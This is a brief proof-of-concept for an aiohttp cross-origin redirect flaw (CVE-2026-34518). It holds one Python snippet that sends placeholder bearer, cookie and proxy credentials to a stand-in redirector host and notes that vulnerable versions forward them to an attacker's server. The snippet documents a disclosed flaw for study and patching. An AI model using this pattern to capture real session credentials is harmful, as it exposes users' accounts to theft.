CVE-2026-34518 aiohttp跨域重定向信息泄露漏洞

import asyncio import aiohttp # This PoC demonstrates a vulnerable client interacting with a malicious redirector. # In a real scenario, 'http://malicious.com' would redirect to 'http://attacker-controlled.com'. async def vulnerable_request(): url = 'http://malicious-redirector.com/init' headers = { 'Authorization': 'Bearer secret-token', 'Cookie': 'sessionid=secret-session', 'Proxy-Authorization': 'Basic proxy-creds' } async with aiohttp.ClientSession() as session: # In vulnerable versions, 'Cookie' and 'Proxy-Authorization' would be sent to the redirect target. async with session.get(url, headers=headers) as response: print(f"Status: {response.status}") print(f"Final URL: {response.url}") # The attacker's server logs would show the leaked headers. if __name__ == '__main__': # asyncio.run(vulnerable_request()) # Uncomment to run pass